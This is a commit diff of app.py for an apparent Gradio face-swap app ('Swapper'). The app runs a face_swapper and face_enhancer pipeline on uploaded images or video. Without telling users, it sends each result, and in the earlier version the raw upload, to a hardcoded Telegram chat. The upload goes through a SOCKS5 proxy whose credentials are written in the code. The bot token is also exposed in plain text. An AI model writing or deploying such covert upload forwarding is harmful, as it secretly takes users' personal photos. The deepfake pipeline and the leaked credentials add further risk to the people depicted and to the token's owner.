Mrlongpro commited on
Commit
af32ae8
1 Parent(s): eccab94

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +25 -40
app.py CHANGED
@@ -1,68 +1,53 @@
1
  import gradio as gr
2
  import subprocess
3
- import shutil
4
  import os
5
  from datetime import datetime
6
- import requests
7
- from bs4 import BeautifulSoup
8
  import telebot
9
  from telebot import apihelper
10
  import zipfile
11
- from pathlib import Path
12
- import socks
13
 
14
  # Initialize Telegram bot
15
  proxy_server = '142.93.68.63'
16
  proxy_port = 2434
17
- proxy_secret = 'ee32b920dffb51643028e2f6b878d4eac1666172616b61762e636f6d'
18
- proxy_dc_id = 2 # This is usually 2 for MTProto proxies
19
 
20
- proxy = (
21
- socks.SOCKS5,
22
- proxy_server,
23
- proxy_port,
24
- True,
25
- 'vpn',
26
- 'unlimited'
27
- )
28
- #apihelper.API_URL = "http://0.0.0.0:7860/bot{0}/{1}"
29
- # Set the proxy for the bot if needed
30
  apihelper.proxy = {
31
- 'https': f'socks5://vpn:unlimited@{PROXY_SERVER}:{PROXY_PORT}'
32
  }
33
  bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)
34
 
35
  def run_scripts(target, source):
36
- outputfile=[]
37
- zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") +".zip"
38
- zipf=zipfile.ZipFile(zip_filename, "w")
39
- for target_file in target :
 
40
  target_extension = os.path.splitext(target_file.name)[-1]
41
- target_name = os.path.splitext(target_file.name)[1]
42
  timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
43
- output_path1 = "output" + timestamp + target_extension
44
-
45
- #cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
46
- #subprocess.run(cmd1)
47
- #outputfile.append(output_path1)
48
- #print(os.path.abspath(output_path1))
49
- #print(source)
50
- #bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
51
- #zipf.write(output_path1)
52
- bot.send_photo("-4283513911", photo=open(target_file.name, 'rb'))
53
- return target
54
 
55
- #return outputfile
 
 
 
 
 
 
 
 
 
 
56
 
57
  iface = gr.Interface(
58
  fn=run_scripts,
59
  inputs=[
60
- "files",
61
- "file"
62
  ],
63
- outputs=["files"],
64
- title="swapper",
65
- description="Upload a target image/video and a source image .",
66
  live=False
67
  )
68
 
 
1
  import gradio as gr
2
  import subprocess
 
3
  import os
4
  from datetime import datetime
 
 
5
  import telebot
6
  from telebot import apihelper
7
  import zipfile
 
 
8
 
9
  # Initialize Telegram bot
10
  proxy_server = '142.93.68.63'
11
  proxy_port = 2434
12
+ proxy_username = 'vpn'
13
+ proxy_password = 'unlimited'
14
 
 
 
 
 
 
 
 
 
 
 
15
  apihelper.proxy = {
16
+ 'https': f'socks5://{proxy_username}:{proxy_password}@{proxy_server}:{proxy_port}'
17
  }
18
  bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)
19
 
20
  def run_scripts(target, source):
21
+ outputfile = []
22
+ zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") + ".zip"
23
+ zipf = zipfile.ZipFile(zip_filename, "w")
24
+
25
+ for target_file in target:
26
  target_extension = os.path.splitext(target_file.name)[-1]
 
27
  timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
28
+ output_path1 = "output_" + timestamp + target_extension
 
 
 
 
 
 
 
 
 
 
29
 
30
+ # Example command, update with your actual script and parameters
31
+ cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper", "face_enhancer", "--many-faces"]
32
+ subprocess.run(cmd1)
33
+
34
+ outputfile.append(output_path1)
35
+ zipf.write(output_path1)
36
+ print(os.path.abspath(output_path1))
37
+ bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
38
+
39
+ zipf.close()
40
+ return outputfile
41
 
42
  iface = gr.Interface(
43
  fn=run_scripts,
44
  inputs=[
45
+ gr.inputs.File(type="file", label="Target Files", multiple=True),
46
+ gr.inputs.File(type="file", label="Source File")
47
  ],
48
+ outputs=gr.outputs.File(label="Output Files"),
49
+ title="Swapper",
50
+ description="Upload a target image/video and a source image.",
51
  live=False
52
  )
53